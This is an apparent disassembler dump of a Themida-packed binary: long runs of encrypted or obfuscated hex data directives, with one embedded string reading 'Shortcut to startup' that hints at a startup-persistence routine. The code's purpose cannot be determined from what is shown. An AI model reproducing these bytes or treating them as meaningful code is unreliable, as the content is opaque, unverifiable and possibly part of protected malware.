		dd 6605E5BBh, 8B35AFBBh, 0E210DD85h, 52006A05h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 0F970D10h
		dd 89FC3CDDh, 0C486h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0ACF4A49Bh, 5327BF58h
		dd 958B1020h, 5E20BE9h,	18F19D0Bh, 0C28305E2h, 0D1BD8B04h
		dd 8905E230h, 6A2050h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0DF142CC3h, 5B858DC0h, 6A05E5CEh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 17042444h
		dd 43000000h, 0AC66C353h, 7E84332h, 44000000h, 52C62406h
		dd 9D8BCF99h, 5E207C9h,	0B886895Bh, 6A000000h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 72FDC353h, 0FFF30B1h, 683h, 358D8900h, 8005E207h, 8B66CEE3h
		dd 29006AF8h, 0E2099185h, 9DB5FF05h, 6A05E5BBh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 9E47C355h, 0B198D09h, 0BB6605E2h, 95FF86E2h,	5E214E9h
		dd 0CD43EBBFh, 0CE99632h, 41000000h, 36ED7B78h,	70937F60h
		dd 50784DE8h, 699D8B96h, 0FF05E200h, 0E5BB9DB5h, 55006A05h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 48B614C5h, 0FFCC96C4h, 0E22D2195h, 0A9C38105h, 8312A89Fh
		dd 0E20089BDh, 840F0005h, 0ABh,	0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0B4C35646h,	0C37877Fh, 7C2E4C2Fh
		dd 0C21BD03h, 5E905E2h,	0D3000000h, 3BE387BBh, 0CE9h, 30470100h
		dd 0FCEE6635h, 0A5BDA29Bh, 10E8507Dh, 6F000000h, 785CE3DAh
		dd 0C698814Ch, 86FC0B0Eh, 0E86207D2h, 9, 1FCB39EDh, 1C39444Bh
		dd 0BE9C6h, 0BF650000h,	947C5A27h, 3899E579h, 895B5F08h
		dd 6A2434h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h
		dd 50400000h, 0BEAAC7C3h, 0D59D8B2Bh, 6005E213h, 615B589h
		dd 0FF6105E2h, 0E5BB9DB5h, 55BB6605h, 1595FF5Dh, 6A05E204h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 5E50C353h, 558B766Eh, 14A1BD8Bh, 816605E2h
		dd 0FF4454EFh, 0E5BB9DB5h, 56006A05h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 180A92A0h
		dd 0BBA819D7h, 4F66335Fh, 0A5995FFh, 0BD0B05E2h, 5E231A9h
		dd 24CDBD83h, 0F0205E2h, 7E84h,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 755481F0h
		dd 35858B3Bh, 6A05E21Fh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1A042444h, 46000000h, 6A87C356h, 0CF2C7206h
		dd 0EDF7816Eh, 0C67CBCA5h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 170424h, 57470000h, 7F29AC3h
		dd 28A0F42h, 0B3000000h, 3D9D8B3Bh, 0C705E226h,	0E20CF985h
		dd 5, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 6B69A79h,	3F72CB36h, 9D03B45Ch, 5E223B5h
		dd 0FFF334E9h, 8BFE8AFFh, 53006AC1h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1804h,	0C3534300h, 0E5E0B3C3h
		dd 299D014Ah, 8D05E20Eh, 0E749118Dh, 81666005h,	0F8DF9AEFh
		dd 0E98D8961h, 6A05E20Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 8A28C353h, 2B8076D5h
		dd 0C7C28B66h, 0E2076185h, 73C405h, 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1904h,	0C3574700h, 0C74355E0h
		dd 0F38A1280h, 0EA59523h, 85C705E2h, 5E21B55h, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0CCC35343h
		dd 0A18EFE7Eh, 8580D0BEh, 5DB5FFB5h, 6A05E232h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 99E5C356h, 7EEF0838h, 0B1595FFh, 0D68005E2h,	0FF006AACh
		dd 0E20AB995h, 0EBC08B05h, 0ED44EF5Fh, 2F3DC619h, 0F9A1857h
		dd 38DCD926h, 0FBE44775h, 53B45A6Fh, 2417C33Eh,	0B93D0081h
		dd 0C3E248B4h, 9D2FE3DBh, 0B45870A3h, 335B62D9h, 22ECE5CAh
		dd 0D6518709h, 0FFF3497Fh, 36045B5Dh, 2BA051A9h, 0AA82826Ah
		dd 6FE0DD6Bh, 3AE4A8A9h, 1CF20108h, 61541D51h, 89073F63h
		dd 0D79E92CCh, 4A3F8D8Dh, 8D8905E7h, 5E20BE9h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 37C35646h, 0E67CAC98h
		dd 0F9A1BC35h, 22298D29h, 85C705E2h, 5E20761h, 5BECh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C35242h, 0B954957Bh
		dd 0FD288ABDh, 5585C71Ch, 5E21Bh, 66000000h, 8B4D0ABEh
		dd 0E2302DB5h, 0D1B5FF05h, 6A05E21Ch, 3E85700h,	20000000h
		dd 895FC35Fh, 8104247Ch, 15042444h, 47000000h, 220EC357h
		dd 0B1595FFh, 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 816697C3h, 6AE914DFh, 0B995FF00h
		dd 8B05E20Ah, 0BB4CEBC0h, 75C6A106h, 21A02705h,	0FC1AAC0Eh
		dd 6FE2FC07h, 0DDB5FFDBh, 0B8B469DAh, 86AC9ACFh, 469DB802h
		dd 0B439EC4Ah, 636E35C8h, 1B611CE2h, 3309D6A3h,	8E637AF0h
		dd 4685336Ch, 0C03821E2h, 5D704EC4h, 2796B96h, 26F293E1h
		dd 20522606h, 0C8570F58h, 10010F31h, 56C25112h,	257BBBh
		dd 6254BB3h, 1010F26h, 80C25974h, 40B482BBh, 0AC670AD0h
		dd 460165EAh, 8010CDAh,	0C75F2F32h, 2675866Ch, 25458E36h
		dd 80011236h, 83574932h, 16E720B4h, 33BAE0D9h, 8B0E51B2h
		dd 4010F32h, 860E0B9Ah,	1010D4Dh, 68F6B03Dh, 40010F3Eh
		dd 0A8E89BDEh, 0B69D170Bh, 8D9CFEFCh, 24C92B9h,	815E0AD0h
		dd 0E312CA8Fh, 40E0F37h, 40010F51h, 0C8560F58h,	10010F31h
		dd 57C25012h, 2573BBh, 6254BB3h, 1010F25h, 2FC25875h, 0A81529C2h
		dd 20010F34h, 76D6601Ch, 8C0E8E8Ah, 4010F32h, 20E66Ch
		dd 16B0F32h, 8002E764h,	1E210F32h, 548851F1h, 54800B16h
		dd 8180B16h, 52470F32h,	4A31ABF1h, 8893DA3Ch, 62055EB7h
		dd 91B48637h, 0B004ED2Dh, 0B673B554h, 4850062h,	64010F32h
		dd 6F20B488h, 0F3C8B65Eh, 1060567Ch, 0A8520F58h, 20010F31h
		dd 4BC25412h, 0C2553BBh, 254BB3h, 2010F2Ah, 2CC25C71h
		dd 42C14931h, 0FAA8FCB3h, 9E674E71h, 110E3D67h,	62FF2B7Eh
		dd 7E95832h, 22010F32h,	885ECC6Dh, 1052B4Eh, 56052B76h
		dd 67010F32h, 69AECC65h, 0A9C38F8Ch, 9594266Ah,	8104ED2Bh
		dd 16B23F2h, 8002E760h,	1A210F32h, 748855F1h, 54800B16h
		dd 81C0B16h, 56430F32h,	3749D2F1h, 3ED71EDCh, 9C854E2h
		dd 0A22D86A7h, 4A098437h, 13E95E32h, 28010F32h,	8D58CC6Bh
		dd 83052B7Eh, 18052B76h, 0C1010F32h, 76FACC63h,	447D4584h
		dd 0EC498454h, 2B5C92B9h, 85670AD0h, 0DFE390Bh,	101B5B6h
		dd 0A1948632h, 0C304ED16h, 7F5706F3h, 1FE836B2h, 80005B7h
		dd 52016532h, 2010CDAh,	0C25F2F32h, 0A475866Ch,	64458E36h
		dd 20011836h, 0D3574932h, 267B32C1h, 17C89A11h,	438A0AD0h
		dd 54016533h, 80010CDAh, 835C2F32h, 46D866Fh, 34458E36h
		dd 8011736h, 0C7544A32h, 88EB9537h, 67C90CADh, 4182F7B9h
		dd 59BC8437h, 0A104ED33h, 534A9F0Bh, 0A08400B9h, 6E010F32h
		dd 1E95832h, 21010F32h,	95ECC6Dh, 0C1052B4Eh, 3D052B76h
		dd 57010F32h, 96A5CC65h, 622D3403h, 0E3C2A05h, 10DE652h
		dd 57B10F32h, 64E84773h, 0D745A691h, 9B0E6E6Bh,	8010F34h
		dd 0BCB8D4B3h, 8F605FEEh, 0E34D4DBFh, 84860037h, 26010F32h
		dd 98C6E489h, 10010F31h, 0E0540F58h, 4010F31h, 5FC25212h
		dd 52563BBh, 84254BB3h,	40010F29h, 8AC25A77h, 17CA4EEAh
		dd 0F79FEDB7h, 530165D3h, 2010CDAh, 0C25E2F32h,	0A47D866Dh
		dd 64458E36h, 20011336h, 0D3564832h, 0B1B1B603h, 79ED0153h
		dd 0E6E68ED4h, 603E9F10h, 68570F58h, 40010F31h,	7EC25112h
		dd 14257BBBh, 0C254BB3h, 4010F28h, 0A7C25974h, 0AE3065AAh
		dd 3D8C80BAh, 45E645A2h, 6DA682BFh, 64B90AD5h, 3B009DB1h
		dd 0E6228AB7h, 20CE2437h, 0C8570F58h, 10010F31h, 56C25112h
		dd 257BBBh, 6254BB3h, 1010F26h,	0E9835974h, 8BA4F305h
		dd 698589C0h, 0E905E215h, 0Ah, 52CEC921h, 0E85AFB51h, 0C38BDB57h
		dd 4E7C8D8Dh, 8B6005E7h, 0E20BC5BDh, 0E98D2905h, 6105E22Bh
		dd 0BE98D89h, 9D8B05E2h, 5E22AB9h, 85C7FD8Ah, 5E20761h
		dd 5C04h, 0A45BD8Bh, 85C705E2h,	5E21B55h, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 0C5C35646h
		dd 82FF728Bh, 0CED6CE05h, 6FCA8021h, 3249B5FFh,	95FF05E2h
		dd 5E20B15h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 14h,	6AC35040h, 6870Fh, 0BD010000h, 5E21B79h, 95FF006Ah
		db 0B9h, 0Ah, 0E2h
byte_542B33	db 5			; DATA XREF: Themida_:004EFE60o
		dd 2AEBC08Bh, 955BAC05h, 0B3C2C4B4h, 86050A51h,	0CA755D89h
		dd 9CB126B7h, 79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h
		dd 4607B67Dh, 0EE8BFDCh, 9B000000h, 0AD790CA9h,	72D4D6A4h
		dd 341821C2h, 5ACFB94Eh, 0E95B3343h, 0Ch, 0D586D9E0h, 0DEF1F1DAh
		dd 0D8849313h, 6F22C381h, 8D890000h, 5E232C1h, 8BF8F633h
		dd 8529333Ch, 5E20A9Dh,	8180C781h, 0C08130B6h, 5201587h
		dd 44FDC781h, 61601B09h, 0F4E4EF81h, 57F96048h,	147D958Bh
		dd 48F05E2h, 0B1B58933h, 0E905E22Ah, 0Dh, 4ED00CCAh, 894FFB04h
		dd 4472EE84h, 4EE83C6h,	0B5895660h, 5E22449h, 8161FC5Eh
		dd 0FF9174FEh, 0A0850FFFh, 23FFFFFFh, 0E21A2985h, 78D8D05h
		dd 0F05E750h, 850FF9BFh, 6, 0A1B589h, 8D8905E2h, 5E20BE9h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Dh, 0F4C35343h
		dd 9F10DD5Bh, 424665B7h, 5E95Fh, 64580000h, 802D76F8h
		dd 85C7C9F7h, 5E20761h,	5EC4h, 26A1BD23h, 85C705E2h, 5E21B55h
		dd 0
		dd 6880Fh, 0B58B0000h, 5E222C9h, 2ACDB5FFh, 6A05E2h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0DBEB4C3h, 3F07D5E5h, 9D8B60DBh, 5E203E5h, 61DE8B66h
		dd 0FFE9E680h, 0E20B1595h, 55852905h, 6A05E21Ah, 0B995FF00h
		dd 8B05E20Ah, 7959EBC0h, 240E290Ch, 0C1E6104Eh,	0CFBAFF1Ah
		dd 0F14EA70Ch, 4FCCB41Dh, 0D084CBD0h, 29B928D6h, 0BF13471h
		dd 9E91C419h, 0F9DF0394h, 0BF1B5D3Fh, 277AECDDh, 0AC9D2EAFh
		dd 0E70B87D3h, 12EA722Ch, 7C8B4FADh, 931AEDD7h,	4049DA3Dh
		dd 545B4D1Dh, 0B178E757h, 2670913Eh, 6925EB94h,	0B8A53CDAh
		dd 3385629Dh, 0E3858BAEh, 0DDBFE5D1h, 4BEFB55Fh, 7FA20EDBh
		dd 21BF4198h, 8E12371Ch, 36739513h, 0B098FE5Dh,	0D1898E13h
		dd 2AE58B52h, 0F31AD8FBh, 3395886Dh, 6E1402EAh,	0BE946944h
		dd 0D7237127h, 68427458h, 362C08F6h, 3394694Fh,	60C19CDFh
		dd 3395886Dh, 6E1402EAh, 0BE946944h, 0D73E6227h, 68427458h
		dd 6591E1F6h, 339188BFh, 0F0CFABABh, 17E5028Bh,	17D50AEEh
		dd 33919771h, 0F0C7CDBAh, 0B8C83A70h, 222400B8h, 6491E1A4h
		dd 33918843h, 0F0CEABD5h, 17ED02B5h, 17D50A71h,	339196BEh
		dd 0F0C6CC5Dh, 0C916C798h, 69B82B48h, 0AE1AE345h, 36738F10h
		dd 33FB4B61h, 33926325h, 6BB18BBAh, 7718D39Eh, 77108F8Ah
		dd 338D8F73h, 63D18BABh, 2A144716h, 25971D44h, 0BFF7986Dh
		dd 0FA0C0262h, 9B946959h, 6F1584AAh, 59918B53h,	3079DDABh
		dd 13918BD5h, 0BACF48B4h, 0B295AF01h, 2895AFFEh, 75918B5Dh
		dd 0D58948F8h, 1BA5A90Eh, 8E1287DCh, 36739810h,	51584EAh
		dd 59918B75h, 3079DBBAh, 13918B5Dh, 0BAC948F6h,	0B295AF13h
		dd 2B95AFEFh, 73918BD5h, 0E91C48BAh, 3C48F80Ch,	33918E32h
		dd 0D8FE345Dh, 0CF7881D2h, 53918B54h, 0E41B7320h, 149135B4h
		dd 207889EAh, 0AD918B75h, 4556C241h, 9AAD9DDFh,	22A80881h
		dd 7440EFD8h, 0B61CA0EBh, 367418E7h, 0DBC48B80h, 33918B76h
		dd 6E52D69Ah, 37B5E7D4h, 37B5CF2Fh, 33918B41h, 0EC52DEEEh
		dd 8E18B155h, 3673B8F7h, 33918C9Dh, 725150BAh, 56F806BEh
		dd 34C01625h, 0CCC88EB5h, 0B2F7777Bh, 0B6CFE70Ah, 3815842Ah
		dd 0B2918B74h, 0B2F7DC82h, 471484A6h, 59918BAEh, 3079DD57h
		dd 13918BABh, 0BACF488Bh, 0B295AF9Eh, 2E95AF31h, 75918BBAh
		dd 8970480Bh, 7F5CD67Fh, 5C821193h, 33919F42h, 7D0CBBD5h
		dd 0F3C8AF05h, 0BF9757AAh, 2F982224h, 22772BEBh, 0E210EDB0h
		dd 0B2F7F542h, 31938FD3h, 30D50FDAh, 3E798BEAh,	0F9918B75h
		dd 0C08CDD16h, 0C5A7B02Eh, 25160DFh, 33918CBFh,	0CB09F8ABh
		dd 0E1C9659Fh, 0E74B0A8Ch, 55CBD26Ah, 530DB33Bh, 33110E52h
		dd 35798BAEh, 9C918B57h, 0D1190773h, 0B3CA7356h, 3C798992h
		dd 3391E2F0h, 6591E1BAh, 339188B5h, 0F0CFABAEh,	17E50209h
		dd 17D50AAFh, 33919FD1h, 0F0C7CDEAh, 33826377h,	1B378BBAh
		dd 4E704FB4h, 0F7D523A7h, 0D4D99405h, 0FB463A28h, 3516842Bh
		dd 0BA918BEAh, 0D199BAE8h, 0BE1AD1BFh, 36738C9Ch, 35E90AC8h
		dd 0B69E2057h, 33918BBDh, 24DC0E5Ch, 0AC788E08h, 0B8918B77h
		dd 0D1954207h, 0F110ED58h, 332FAE5Ch, 0DBD78A56h, 33918BBBh
		dd 44C972BBh, 0C6FC6056h, 0AF32A25Eh, 0DE3EF7F9h, 0BEC801EFh
		dd 0D602B92Bh, 6591E152h, 33918843h, 0F0CFABD5h, 17E502B4h
		dd 17D50A71h, 33919CBEh, 0F0C7CD5Dh, 41497E26h,	306016DEh
		dd 0B59E8E49h, 33918BD9h, 339707E5h, 0A61A8B75h, 3673809Bh
		dd 0AEB25BA2h, 3673A847h, 0B79E4BD2h, 339189BCh, 0B10535Eh
		dd 3193B68Ch, 33A90E7Ah, 33FB8BBAh, 3392630Ch, 6AB18BAEh
		dd 7F18D294h, 77108F8Fh, 33868FF1h, 62D08BEAh, 335DCB6h
		dd 6E0C00F2h, 0B294697Fh, 0EF78DD6h, 0B79EF108h, 33918A41h
		dd 240C1E5Ch, 0B2F78E08h, 3CF1174Dh, 3391183Fh,	6191E15Dh
		dd 33918846h, 0F0CBAB57h, 17C502F1h, 17D50AD1h,	33919FEEh
		dd 0F0C3C975h, 0E210ED81h, 3F7864F2h, 0C3918BAEh, 0B28A04F9h
		dd 8CAF9CE6h, 0B3140013h, 3C798992h, 3391DCF0h,	844E0ABAh
		dd 55E9E6BFh, 3397F32Fh, 76148497h, 0B8918BABh,	0D19D1E40h
		dd 321162EFh, 33FB8B75h, 339263EBh, 6AB18B5Dh, 7F18D26Dh
		dd 77108F73h, 33898F8Fh, 62D08BD5h, 371F329h, 3C792D41h
		dd 0B5918BBAh, 233E420Dh, 0C708A2FFh, 5F8DF454h, 0B8F7BF92h
		dd 0FC1AD20Bh, 32908B54h, 121CA20Bh, 0BE9469B6h, 0D602B9D8h
		dd 6591E1ABh, 339188BFh, 0F0CFABABh, 17E5028Bh,	17D50AEEh
		dd 33919F71h, 0F0C7CDBAh, 0F810EDE3h, 0E36E665Dh, 339184BEh
		dd 153D31ABh, 3E9BE2FDh, 3D41C793h, 13B38D8h, 0B79E4B3Fh
		dd 33918BBEh, 35CC0E87h, 0B118EB5h, 43148443h, 3C918BD5h
		dd 4B115355h, 0B69EF870h, 33918BD9h, 0DBC08B37h, 33918BADh
		dd 6A52D277h, 37B5C722h, 37B5CF54h, 33918BF6h, 4252DA34h
		dd 0BDD8AB5Bh, 0A8651A27h, 187B482Fh, 0B79ED373h, 33918BADh
		dd 201C0EFCh, 4B118E08h, 0B79ED872h, 33918B20h,	0DBC28B37h
		dd 33918BADh, 6852D077h, 37B5D722h, 37B5CF54h, 33918BFFh
		dd 1D52D836h, 8E0C00B5h, 5594694Eh, 361EB32Fh, 33C80E58h
		dd 0BE188BABh, 36739B44h, 5B97F36Ah, 33D80E7Ah,	33FB8BBAh
		dd 3392630Ah, 6CB18BAEh, 4F18D494h, 77108F8Fh, 33888FF1h
		dd 64D68BEAh, 660016B6h, 0BA514E40h, 0D1BCF2D8h, 0FE0400ABh
		dd 55946976h, 0CC9AF32Ah, 231484F0h, 3C918BEAh,	287840CAh
		dd 81918BBAh, 0DA2C02EAh, 8B94698Ah, 33918B57h,	0FEC8EA10h
		dd 33A162CEh, 89F78BEAh, 32290F49h, 59918BBAh, 3079D95Dh
		dd 13918BAEh, 0BACB480Dh, 0B295AFFFh, 2A95AF91h, 71918BEAh
		dd 48D14827h, 0EA36766Fh, 34340674h, 0B8018E4Ch, 0B8F7DBAEh
		dd 33FB1B55h, 33926385h, 6BB18BEAh, 7718D3B6h, 77108F9Eh
		dd 338B8F79h, 63D18BAEh, 854B0394h, 0F98DD6EDh,	10F4365Eh
		dd 8E1C8E08h, 3676DB10h, 65AA0637h, 10298EBAh, 30E6EDFBh
		dd 0D18782D2h, 0F25EA0AEh, 32908B54h, 121CA20Bh, 0BE9469B6h
		dd 0D602B9D8h, 6591E1ABh, 339188BFh
		db 2 dup(0ABh),	83h
byte_54330B	db 0E9h			; DATA XREF: Themida_:004EEC4Co
		dd 58A4F305h, 0FC88B66h, 38Ah, 0B4E18000h, 0B1ACD80h, 83840FC0h
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1A042444h, 42000000h, 3F1DC352h, 0DBBB0791h,	11E97Bh
		dd 70620000h, 0F57C71E1h, 0B8DD3344h, 4B9000FEh, 8D27A6F7h
		dd 0E24C42B5h, 0B3CC8A05h, 3B802h, 0E6FF0000h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 3C35545h, 0E63B4369h
		dd 1870Fh, 0E8F50000h, 8, 0FCD63C95h, 8A2DC1A3h, 67C78050h
		dd 89405F5Bh, 0E20F9585h, 6AC08B05h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8B7DC351h
		dd 0A603CDCAh, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h
		dd 53501974h, 3B8C08Bh,	89000004h, 0E21DD585h, 619D8D05h
		dd 0FF05E4B3h, 83585BD3h, 0E21805BDh, 17740005h, 3B85350h
		dd 89000004h, 0E21DD585h, 29D8D05h, 0FF05E4B0h,	60585BD3h
		dd 0D2D8D8Bh, 13E905E2h, 2C000000h, 0E891062Bh,	326E0254h
		dd 0C63B633Dh, 0E69FF97Fh, 0F61E0A6h, 0A87h, 95896000h
		dd 5E21889h, 0F616160h,	680h, 0CAF38100h, 8B405A87h, 95BD31C0h
		dd 6605E20Fh, 260EF781h, 712ADE61h, 4B46D4D4h, 557F01DCh
		dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 2C7AEF5Eh
		dd 4E60307Ah, 0A5E4FFB4h, 3092F867h, 0A3BEA37Ah, 23D629F9h
		dd 0A3BA7967h, 23D1C3D1h, 3A92D71Bh, 2933307Ah,	2633831Dh
		dd 0E4B6C098h, 763641CFh, 7187D615h, 0D963AC7Fh, 0C4249D0Dh
		dd 2664839Dh, 23593598h, 71F71F15h, 0AB63487Fh,	0C164121Dh
		dd 0B3CC039Dh, 23D1B8B5h, 0A23C1493h, 26336AA1h, 71F7B015h
		dd 0CE639F7Fh, 26334DAAh, 0A3BEF6D8h, 23D40452h, 0E2B624C8h
		dd 763633CFh, 0A1AFF67h, 0E2B0307Ah, 0E2B61794h, 7636AACFh
		dd 71872315h, 0D963567Fh, 0C424E00Dh, 26513D9Dh, 0AD666A98h
		dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh
		dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh
		dd 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh
		dd 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh
		dd 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h, 71818815h
		dd 0ABBE9F7Fh, 23D4157Fh, 9320h, 0E7FC7800h, 7310271h
		dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 58E7B58Dh, 8D8D05E7h
		dd 5E75906h, 0E983CF2Bh, 0E8C88B05h, 7,	920A198h, 891CB915h
		dd 0E210919Dh, 81665F05h, 814F98D8h, 6F9FC7h, 14E900h
		dd 9F150000h, 48D73162h, 31DBD9AFh, 0DCE44ACEh,	0E3D96755h
		dd 0B3BA43A5h, 8B00001Bh, 0E20B458Dh, 0F1F8B05h, 280h
		dd 810CB000h, 0D055A1C3h, 81EB8A2Bh, 2E5B27F3h,	11E807h
		db 2 dup(0)
word_54361E	dw 7D3h			; DATA XREF: Themida_:004EFE58o
		dd 9046D35Dh, 7A7C8011h, 0FA08BD57h, 0B03DCE3Ah, 0C3815E2Bh
		dd 4DDD521Ch, 8935F180h, 0FDBD891Fh, 8105E200h,	231AC7EFh
		dd 0B9B53108h, 8105E218h, 231AC3C7h, 498D0308h,	8105E215h
		dd 1EAh, 13850F00h, 8B000000h, 0E2210985h, 29E905h, 0E8700000h
		dd 0ADF7784Dh, 10E9CFA2h, 0F1000000h, 2E96C670h, 7851D166h
		dd 0B32FD9EBh, 0E9663E2Ch, 0FFFFFF6Dh, 0DAC255A9h, 0E8571CF8h
		dd 0Fh,	4F576C92h, 0F7B62DB5h, 0AF0232Bh, 2B2AAC7Eh, 0E21B7985h
		dd 880F5905h, 5, 0BAF28166h, 73C181E6h,	0E900005Bh, 13h
		dd 891D649Bh, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h,	2BD02FE0h
		dd 0C1BF0FDBh, 89193C8Bh, 0E21745BDh, 0A5C78105h, 8B227205h
		dd 0E21A3985h, 0ADEF8105h, 89526EA5h, 0E21601B5h, 0D8F78105h
		dd 572812F8h, 1F29958Bh, 48F05E2h, 8D858B19h, 8105E217h
		dd 54B30DEBh, 0F7B70F08h, 0B309C381h, 81F90854h, 0FFA52CFBh
		dd 0AD850FFFh, 0FFFFFFFh, 68Eh,	0AD958B00h, 8D05E21Dh
		dd 0E75BAA8Dh, 51006A05h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 23151B83h, 7E9h, 0A5ABEB00h
		dd 1EBA4C5Bh, 6E9h, 343D5D00h, 8940991Dh, 0E20BE98Dh, 52006A05h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 3ED8611Bh, 12A590FAh, 25BBF0EEh, 0C72D725Fh,	0E2076185h
		dd 6E9C05h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 0EB80530Ch, 5585C7B7h, 5E21Bh, 66000000h
		dd 272CD281h, 21FDB5FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 526206C3h, 0E7E68EFDh
		dd 8D897841h, 5E20941h,	0B1595FFh, 6A05E2h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BA9230C3h
		dd 0A2FF5264h, 81666B79h, 608F2FDEh, 20E28166h,	2D858947h
		dd 6105E215h, 10719D2Bh, 6A05E2h, 0AB995FFh, 0C08B05E2h
		dd 48957BEBh, 5030FCFDh, 0C39D4F3h, 66832669h, 0C498DFDCh
		dd 0EB7C1F66h, 0BDAECEADh, 0C7874F59h, 0B7D9A354h, 64D857EFh
		dd 40FD0478h, 4B5F6341h, 7226A604h, 8839180Ch, 8C00AA69h
		dd 4AF79F50h, 554CCCE3h, 78E22797h, 0C5FDD3E2h,	304A1289h
		dd 0C71C48FEh, 0F01F0A13h, 48ED0D36h, 0F0FE2825h, 0BFAF7E5Fh
		dd 0FE5BFF01h, 0A8743141h, 9E427F89h, 0FFAF3E07h, 0F4D25539h
		dd 5A703542h, 536CEB5Fh, 74726F68h, 20747563h, 73206F74h
		dd 74726174h, 7075h, 13h dup(0)
		dd 3C000000h, 17CE622h,	0E9000000h, 0FBAh, 0E75E3968h
		dd 0F126E905h, 2568FFFBh, 0E905E75Fh, 0FFFBF11Ch, 0E7612168h
		dd 0F112E905h, 6068FFFBh, 0E905E761h, 0FFFBF108h, 0E7620368h
		dd 0F0FEE905h, 0C468FFFBh, 0E905E762h, 0FFFBF0F4h, 0E7675E68h
		dd 0F0EAE905h, 368FFFBh, 0E905E76Ah, 0FFFBF0E0h, 0E76AF268h
		dd 0F0D6E905h, 8BE6FFFBh, 55D11130h, 18996908h,	0E05CA2C5h
		dd 0A102FC83h, 0DE513B5Eh, 93B6096Ah, 0EF72CF2Fh, 26499413h
		dd 640B58D8h, 1CDF720Eh, 1A00658h, 8F114823h, 738E2632h
		dd 0A5EDB388h, 78F4CEADh, 0EAD44D2Bh, 71CE288Ah, 0F60B2506h
		dd 0A5EDB405h, 0CC64492Ah, 0FF3A85E2h, 0C96302EEh, 0FF3A87E7h
		dd 0FC6002EEh, 6F51E987h, 6647B20Fh, 0D2A9F78Ah, 0FAC4ABCFh
		dd 3642277Ch, 9A156AC8h, 0DBB6EFC9h, 0A00B961Ch, 9552F6A3h
		dd 9A76CB2Bh, 0E8F39894h, 5DDA0583h, 3C704CEBh,	23F7634Dh
		dd 0F8000000h, 0C652294Dh, 0CFCBD1ABh, 0C6A54ABh, 0C8A7D2B7h
		dd 0A00B9B2Bh, 9261E752h, 83E8FD9Ah, 0BC3Bh, 8F118C00h
		dd 78FBC732h, 64C4EA25h, 4EAE901Fh, 0A7F867F1h,	0ACAACAD0h
		dd 0A354E987h, 88A5ED95h, 11BCCDABh, 0A5ED9A31h, 0B7C11E9Eh
		dd 1C9BE649h, 0FEC0614Fh, 94F6217Eh, 801D3B50h,	0ABCFC250h
		dd 7781A083h, 27C7DAE8h, 0FDAF3AE4h, 7C2738D2h,	4FDDBB7Dh
		dd 92EF7127h, 830E51D0h, 1BB3DDA2h, 0EF8D6E83h,	0B192A00Ah
		dd 0A2A74AE7h, 8360A5EFh, 55A80BF5h, 106BCC32h,	4FECCA85h
		dd 96CB2E7Ch, 0D67h, 0EF72CD28h, 274A9713h, 60075ADBh
		dd 0BADD229Eh, 0F998E344h, 53D4609Fh, 19996908h, 0DE5DA5C4h
		dd 0A202FC83h, 38503A5Dh, 655D2A5h, 827557A0h, 2C338E11h
		dd 6A0D52D2h, 0F979479Dh, 36BECCA4h, 0B89DE240h, 0CB7B7D90h
